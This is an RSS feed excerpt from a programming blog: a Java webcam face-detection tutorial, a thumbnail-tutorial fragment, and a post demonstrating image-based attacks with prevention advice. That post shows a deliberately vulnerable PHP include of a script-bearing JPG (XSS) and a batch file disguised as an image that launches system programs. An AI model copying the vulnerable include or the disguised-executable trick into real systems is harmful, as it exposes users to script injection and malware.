&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt;      private static final long serialVersionUID = 1L;  
      private static final HaarCascadeDetector detector = new HaarCascadeDetector();  
      private Webcam webcam = null;  
      private BufferedImage img= null;  
      private List&amp;lt;DetectedFace&amp;gt; faces = null;  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
&lt;i&gt;main method:&lt;/i&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; public static void main(String[] args) throws IOException {  
           new FaceDetector().detectFace();  
      }  
&lt;/code&gt;&lt;/pre&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;
&lt;i&gt;How it works:&lt;/i&gt;&lt;br /&gt;
1) We create an object of FaceDetector class which class the default constructor and then we call the detectFace method of this class.&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;FaceDetector constructor:&lt;/i&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt;      public FaceDetector() throws IOException {  
           webcam = Webcam.getDefault();  
           webcam.setViewSize(WebcamResolution.VGA.getSize());  
           webcam.open(true);  
           img=webcam.getImage();  
           webcam.close();  
           ImagePanel panel=new ImagePanel(img);  
           panel.setPreferredSize(WebcamResolution.VGA.getSize());  
           add(panel);  
           setTitle(&quot;Face Recognizer&quot;);  
           setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);  
           pack();  
           setLocationRelativeTo(null);  
           setVisible(true);  
      }  
&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;i&gt;How it works:&lt;/i&gt;&lt;br /&gt;
1) We use the sarxos library for webcam here&lt;br /&gt;
2) We create a webcam object and set the viewsize&lt;br /&gt;
3) We open the webcam using the open method&lt;br /&gt;
4) We take the image from webcam and store it into a BufferedImage object named img&lt;br /&gt;
5) Now we close the webcam and pass the image obtained in ImagePanel class which would then be added to Frame.&lt;br /&gt;
6) Now we show the frame to user with the webcam image which will be processed.&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;detectFace method:&lt;/i&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt;      public void detectFace(){  
           JFrame fr=new JFrame(&quot;Discovered Faces&quot;);  
           faces = detector.detectFaces(ImageUtilities.createFImage(img));  
           if (faces == null) {  
                System.out.println(&quot;No faces found in the captured image&quot;);  
                return;  
           }  
           Iterator&amp;lt;DetectedFace&amp;gt; dfi = faces.iterator();  
           while (dfi.hasNext()) {  
                DetectedFace face = dfi.next();  
                FImage image1 = face.getFacePatch();  
                ImagePanel p=new ImagePanel(ImageUtilities.createBufferedImage(image1));  
                fr.add(p);  
           }  
           fr.setLayout(new FlowLayout(0));  
           fr.setSize(500,500);  
           fr.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);  
           fr.setVisible(true);  
      }  
&lt;/code&gt;&lt;/pre&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;
&lt;i&gt;How it works:&lt;/i&gt;&lt;br /&gt;
1) We use the&amp;nbsp;openimaj library for face detection&lt;br /&gt;
2) We create a new Frame which would be showing up the results.&lt;br /&gt;
3) We make use of detectFaces method of HaarCascadeDetector class object detector, passing the image to be processed. ImageUtilities is used to create FImage out of BufferedImage.&lt;br /&gt;
4) If no face is found on image then an error message is returned.&lt;br /&gt;
5) Otherwise, we iterate through each face and retrieve the faces using getFacePatch method.&lt;br /&gt;
6) Again we use the createBufferedImage method of ImageUtilities class to get a BufferedImage out of FImage.&lt;br /&gt;
7) We add all the faces to the resulting frame.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;ImagePanel Class:&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; package com.cooltrickshome;  
 import java.awt.Dimension;  
 import java.awt.Graphics;  
 import java.awt.Image;  
 import javax.swing.ImageIcon;  
 import javax.swing.JPanel;  
 class ImagePanel  
  extends JPanel  
 {  
  private Image img;  
  public ImagePanel(String img)  
  {  
   this(new ImageIcon(img).getImage());  
  }  
  public ImagePanel(Image img)  
  {  
   this.img = img;  
   Dimension size = new Dimension(img.getWidth(null), img.getHeight(null));  
   setPreferredSize(size);  
   setMinimumSize(size);  
   setMaximumSize(size);  
   setSize(size);  
   setLayout(null);  
  }  
  public void paintComponent(Graphics g)  
  {  
   g.drawImage(this.img, 0, 0, null);  
  }  
 }  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;i&gt;How it works:&lt;/i&gt;&lt;br /&gt;
1) This is used to show the image over a panel&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Output:&lt;/b&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqGd3DJJsbGOYg5OVqs4D90aTX-NUawTyuZASlq0T0a2ON3eQjjcbginrYDX3qr4OXSC3BBCO_5yuLeiN9iabjVsdSUv0Ks3pVKilY24AgVkrgVKK1Qu4ybNFQ3S6xvLeYvzMHBMlXXAwl/s1600/Capture.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;309&quot; data-original-width=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqGd3DJJsbGOYg5OVqs4D90aTX-NUawTyuZASlq0T0a2ON3eQjjcbginrYDX3qr4OXSC3BBCO_5yuLeiN9iabjVsdSUv0Ks3pVKilY24AgVkrgVKK1Qu4ybNFQ3S6xvLeYvzMHBMlXXAwl/s1600/Capture.PNG&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;Full Program:&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;FaceDetector.java&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; package com.cooltrickshome;  
 /**  
  * Reference:  
  * https://github.com/sarxos/webcam-capture/tree/master/webcam-capture-examples/webcam-capture-detect-face  
  * http://openimaj.org/  
  */  
 import java.awt.FlowLayout;  
 import java.awt.image.BufferedImage;  
 import java.io.IOException;  
 import java.util.Iterator;  
 import java.util.List;  
 import javax.swing.JFrame;  
 import org.openimaj.image.FImage;  
 import org.openimaj.image.ImageUtilities;  
 import org.openimaj.image.processing.face.detection.DetectedFace;  
 import org.openimaj.image.processing.face.detection.HaarCascadeDetector;  
 import com.github.sarxos.webcam.Webcam;  
 import com.github.sarxos.webcam.WebcamResolution;  
 public class FaceDetector extends JFrame {  
      private static final long serialVersionUID = 1L;  
      private static final HaarCascadeDetector detector = new HaarCascadeDetector();  
      private Webcam webcam = null;  
      private BufferedImage img= null;  
      private List&amp;lt;DetectedFace&amp;gt; faces = null;  
      public FaceDetector() throws IOException {  
           webcam = Webcam.getDefault();  
           webcam.setViewSize(WebcamResolution.VGA.getSize());  
           webcam.open(true);  
           img=webcam.getImage();  
           webcam.close();  
           ImagePanel panel=new ImagePanel(img);  
           panel.setPreferredSize(WebcamResolution.VGA.getSize());  
           add(panel);  
           setTitle(&quot;Face Recognizer&quot;);  
           setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);  
           pack();  
           setLocationRelativeTo(null);  
           setVisible(true);  
      }  
      public void detectFace(){  
           JFrame fr=new JFrame(&quot;Discovered Faces&quot;);  
           faces = detector.detectFaces(ImageUtilities.createFImage(img));  
           if (faces == null) {  
                System.out.println(&quot;No faces found in the captured image&quot;);  
                return;  
           }  
           Iterator&amp;lt;DetectedFace&amp;gt; dfi = faces.iterator();  
           while (dfi.hasNext()) {  
                DetectedFace face = dfi.next();  
                FImage image1 = face.getFacePatch();  
                ImagePanel p=new ImagePanel(ImageUtilities.createBufferedImage(image1));  
                fr.add(p);  
           }  
           fr.setLayout(new FlowLayout(0));  
           fr.setSize(500,500);  
           fr.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);  
           fr.setVisible(true);  
      }  
      public static void main(String[] args) throws IOException {  
           new FaceDetector().detectFace();  
      }  
 }  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;&lt;i&gt;ImagePanel.java&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; package com.cooltrickshome;  
 import java.awt.Dimension;  
 import java.awt.Graphics;  
 import java.awt.Image;  
 import javax.swing.ImageIcon;  
 import javax.swing.JPanel;  
 class ImagePanel  
  extends JPanel  
 {  
  private Image img;  
  public ImagePanel(String img)  
  {  
   this(new ImageIcon(img).getImage());  
  }  
  public ImagePanel(Image img)  
  {  
   this.img = img;  
   Dimension size = new Dimension(img.getWidth(null), img.getHeight(null));  
   setPreferredSize(size);  
   setMinimumSize(size);  
   setMaximumSize(size);  
   setSize(size);  
   setLayout(null);  
  }  
  public void paintComponent(Graphics g)  
  {  
   g.drawImage(this.img, 0, 0, null);  
  }  
 }  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
Hope it helps :)&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
</description><link>https://cooltrickshome.blogspot.com/2017/07/facial-recognition-using-java.html</link><author>noreply@blogger.com (csanuragjain)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqGd3DJJsbGOYg5OVqs4D90aTX-NUawTyuZASlq0T0a2ON3eQjjcbginrYDX3qr4OXSC3BBCO_5yuLeiN9iabjVsdSUv0Ks3pVKilY24AgVkrgVKK1Qu4ybNFQ3S6xvLeYvzMHBMlXXAwl/s72-c/Capture.PNG" height="72" width="72"/><thr:total>5</thr:total><georss:featurename>India</georss:featurename><georss:point>20.593684 78.962880000000041</georss:point><georss:box>-8.6044825 37.654286000000042 49.791850499999995 120.27147400000004</georss:box></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1099539711585569086.post-8147495114710406603</guid><pubDate>Fri, 21 Jul 2017 14:24:00 +0000</pubDate><atom:updated>2017-07-21T07:24:48.159-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">batch</category><category domain="http://www.blogger.com/atom/ns#">exploit</category><category domain="http://www.blogger.com/atom/ns#">image</category><category domain="http://www.blogger.com/atom/ns#">malicious</category><category domain="http://www.blogger.com/atom/ns#">security</category><category domain="http://www.blogger.com/atom/ns#">vulnerable</category><category domain="http://www.blogger.com/atom/ns#">xss</category><title>Some Image Based Exploits with their Prevention</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
Images can be used to run malicious scripts over browser and can also be used to download Trojans if not handled carefully by your website. Too much trust on user input can cause damage to your clients.&lt;br /&gt;
&lt;br /&gt;
In this post, we will run malicious scripts using a simple image viewer functionality and lastly we will discuss on how we can resolve this.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Programming Language&lt;/b&gt;&lt;br /&gt;
HTML, PHP&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Git Repository&lt;/b&gt;&lt;br /&gt;
&lt;a href=&quot;https://github.com/csanuragjain/extra/tree/master/ImageExploit&quot;&gt;https://github.com/csanuragjain/extra/tree/master/ImageExploit&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Website&lt;/b&gt;&lt;br /&gt;
&lt;a href=&quot;https://cooltrickshome.blogspot.in/2017/07/some-image-based-exploits-with-their.html&quot;&gt;https://cooltrickshome.blogspot.in/2017/07/some-image-based-exploits-with-their.html&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;One of Image Vulnerability I reported:&lt;/b&gt;&lt;br /&gt;
&lt;a href=&quot;https://hackerone.com/reports/221928&quot;&gt;https://hackerone.com/reports/221928&lt;/a&gt;&lt;br /&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;
&lt;b&gt;&lt;i&gt;Scenario&lt;/i&gt;&lt;/b&gt;&lt;i&gt;&lt;b&gt;&amp;nbsp;#1:&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;b&gt;In this scenario, we will show how lacking Content-Type while displaying images can run malicious scripts.&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;Malicious Image&lt;/i&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfDYySrtmQtKr3ZIN-vM0TgM-RluSFGtdz0W_9-q0fcGj25rOUHfJEXOcU8-CQQGrqx_e7s6g6xpPxZinpQrYCxiB2ItOPUsx5es23vDjI5Nt9z0fbbW_WADiKqqmSAjS4Qblhyf7Mv69J/s1600/exifxss.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;314&quot; data-original-width=&quot;263&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfDYySrtmQtKr3ZIN-vM0TgM-RluSFGtdz0W_9-q0fcGj25rOUHfJEXOcU8-CQQGrqx_e7s6g6xpPxZinpQrYCxiB2ItOPUsx5es23vDjI5Nt9z0fbbW_WADiKqqmSAjS4Qblhyf7Mv69J/s1600/exifxss.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;
&lt;i&gt;Description&lt;/i&gt;&lt;br /&gt;
1) &amp;nbsp;Right Click on above Image and then Choose Save Image As&lt;br /&gt;
2) Name it as exifxss.jpg and Save it.&lt;br /&gt;
3) Otherwise you can also get it from the git location.&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;showImage.php&lt;/i&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; &amp;lt;?php  
 include(&#39;exifxss.jpg&#39;);  
 ?&amp;gt;  
&lt;/code&gt;&lt;/pre&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;
&lt;br /&gt;
&lt;i&gt;Description&lt;/i&gt;&lt;br /&gt;
A simple php file which would be showing the above jpg file.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;Output&lt;/i&gt;:&lt;/b&gt;&lt;br /&gt;
&lt;ol style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;When you access showImage.php on your browser, you will expect to see the image but instead you will see several pop up coming up.&lt;/li&gt;
&lt;li&gt;This happens since the php page is not setting the Content-Type which makes php show image as an HTML. Since Image has several alert messages so they start popping up.&lt;/li&gt;
&lt;li&gt;showImage.php need to make sure that it sets the correct Content-Type and also make sure that it does not set the user provided Content-Type.&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjT8azmv_bUeJCpYOcPchrMYp4In9hC7OgoREw0IZn1LMA0IOFDVn8ZAUuJGnLkTtpUF62nGX-Aw380i-r97Tc_b_POn0UMFwOjQVhr-IgbORDEYs6tUHr1uj08yX9mVTLb70dioHlnNnJv/s1600/Capture.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;544&quot; data-original-width=&quot;1181&quot; height=&quot;147&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjT8azmv_bUeJCpYOcPchrMYp4In9hC7OgoREw0IZn1LMA0IOFDVn8ZAUuJGnLkTtpUF62nGX-Aw380i-r97Tc_b_POn0UMFwOjQVhr-IgbORDEYs6tUHr1uj08yX9mVTLb70dioHlnNnJv/s320/Capture.PNG&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;i&gt;Scenario #2:&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;i&gt;In this scenario, we will show how simple looking image when downloaded can become an exploit.&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;i&gt;Caution: This will run notepad, calc, msconfig, services.msc on your computer, although it won&#39;t perform anything malicious.&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;Malicious Image&lt;/i&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7L8b0Rk1A2LoI3GNMKnFADR8U6Q2PMshS_LHYYrVvaZKyg7UFBNLdZiC59dAUnq_EZuwsKKjX0mD8HTqugVzVoJF28Olsm0wpaomA8x9q8GcUUlARMD9AZ4TYwWFQzctj59pIdGOfR6bb/s1600/image.bat.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;168&quot; data-original-width=&quot;300&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7L8b0Rk1A2LoI3GNMKnFADR8U6Q2PMshS_LHYYrVvaZKyg7UFBNLdZiC59dAUnq_EZuwsKKjX0mD8HTqugVzVoJF28Olsm0wpaomA8x9q8GcUUlARMD9AZ4TYwWFQzctj59pIdGOfR6bb/s1600/image.bat.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;
&lt;i&gt;Description&lt;/i&gt;&lt;br /&gt;
1) &amp;nbsp;Right Click on above Image and then Choose Save Image As&lt;br /&gt;
2) Name it as exifxss.bat and Save it.&lt;br /&gt;
3) Otherwise you can also get it from the git location.&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;showImage2.html&lt;/i&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; &amp;lt;img src=&quot;image.bat&quot; width=500 height=500/&amp;gt;  
&lt;/code&gt;&lt;/pre&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;
&lt;i&gt;Description&lt;/i&gt;&lt;br /&gt;
A simple HTML file showing the image image.bat&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Output:&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;ol style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;On accessing the above HTML, you would see the bugs bunny image (nothing suspicious)&lt;/li&gt;
&lt;li&gt;Now right click on Image and save the image. It would be saved as image.bat&lt;/li&gt;
&lt;li&gt;On opening it the malicious payload gets executed opening up notepad, services.msc, msconfig, calc.&lt;/li&gt;
&lt;li&gt;To prevent it, make sure that users are never allowed to store any non image extension file.&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;
Please let me know your suggestions and comments.&lt;/div&gt;
&lt;div&gt;
Hope it helps :)&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
</description><link>https://cooltrickshome.blogspot.com/2017/07/some-image-based-exploits-with-their.html</link><author>noreply@blogger.com (csanuragjain)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfDYySrtmQtKr3ZIN-vM0TgM-RluSFGtdz0W_9-q0fcGj25rOUHfJEXOcU8-CQQGrqx_e7s6g6xpPxZinpQrYCxiB2ItOPUsx5es23vDjI5Nt9z0fbbW_WADiKqqmSAjS4Qblhyf7Mv69J/s72-c/exifxss.jpg" height="72" width="72"/><thr:total>0</thr:total><georss:featurename>India</georss:featurename><georss:point>20.593684 78.962880000000041</georss:point><georss:box>-8.6044825 37.654286000000042 49.791850499999995 120.27147400000004</georss:box></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1099539711585569086.post-991000663622951979</guid><pubDate>Sat, 08 Jul 2017 13:13:00 +0000</pubDate><atom:updated>2017-07-08T06:14:05.079-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">BufferedImage</category><category domain="http://www.blogger.com/atom/ns#">convert</category><category domain="http://www.blogger.com/atom/ns#">generate</category><category domain="http://www.blogger.com/atom/ns#">image</category><category domain="http://www.blogger.com/atom/ns#">ImageIO</category><category domain="http://www.blogger.com/atom/ns#">java</category><category domain="http://www.blogger.com/atom/ns#">scale</category><category domain="http://www.blogger.com/atom/ns#">small</category><category domain="http://www.blogger.com/atom/ns#">thumbnail</category><title>Create Image Thumbnails using Java</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
In this post we will learn how we can utilize java to automatically creates thumbnails for existing images with desired thumbnail scaling.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Programming Language:&lt;/b&gt;&lt;br /&gt;
Java&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Git Location:&lt;/b&gt;&lt;br /&gt;
&lt;a href=&quot;https://github.com/csanuragjain/extra/tree/master/ThumbnailGenerator&quot;&gt;https://github.com/csanuragjain/extra/tree/master/ThumbnailGenerator&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;Tutorial Location:&lt;/b&gt;&lt;br /&gt;
&lt;a href=&quot;https://cooltrickshome.blogspot.in/2017/07/create-image-thumbnails-using-java.html&quot;&gt;https://cooltrickshome.blogspot.in/2017/07/create-image-thumbnails-using-java.html&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;Program:&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;

&lt;i&gt;main method:&lt;/i&gt;&lt;br /&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;
&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;1
2
3
4
5
6
7
8&lt;/pre&gt;
&lt;/td&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt; &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;public&lt;/span&gt; &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;static&lt;/span&gt; &lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;void&lt;/span&gt; &lt;span style=&quot;color: #0066bb; font-weight: bold;&quot;&gt;main&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;String&lt;span style=&quot;color: #333333;&quot;&gt;[]&lt;/span&gt; args&lt;span style=&quot;color: #333333;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;{&lt;/span&gt;
  &lt;span style=&quot;color: #888888;&quot;&gt;// TODO Auto-generated method stub&lt;/span&gt;
  Scanner s &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;new&lt;/span&gt; Scanner&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;System&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;);&lt;/span&gt;
  System&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;out&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;println&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;Enter the path of image whose thumbnail need to be generated&quot;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;);&lt;/span&gt;
